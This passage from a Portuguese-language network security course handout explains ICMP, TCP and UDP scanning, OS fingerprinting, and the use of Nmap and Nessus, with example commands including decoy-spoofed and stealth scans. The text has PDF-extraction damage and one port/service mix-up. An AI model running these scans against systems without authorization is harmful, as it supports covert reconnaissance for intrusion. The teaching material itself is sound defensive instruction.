luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as 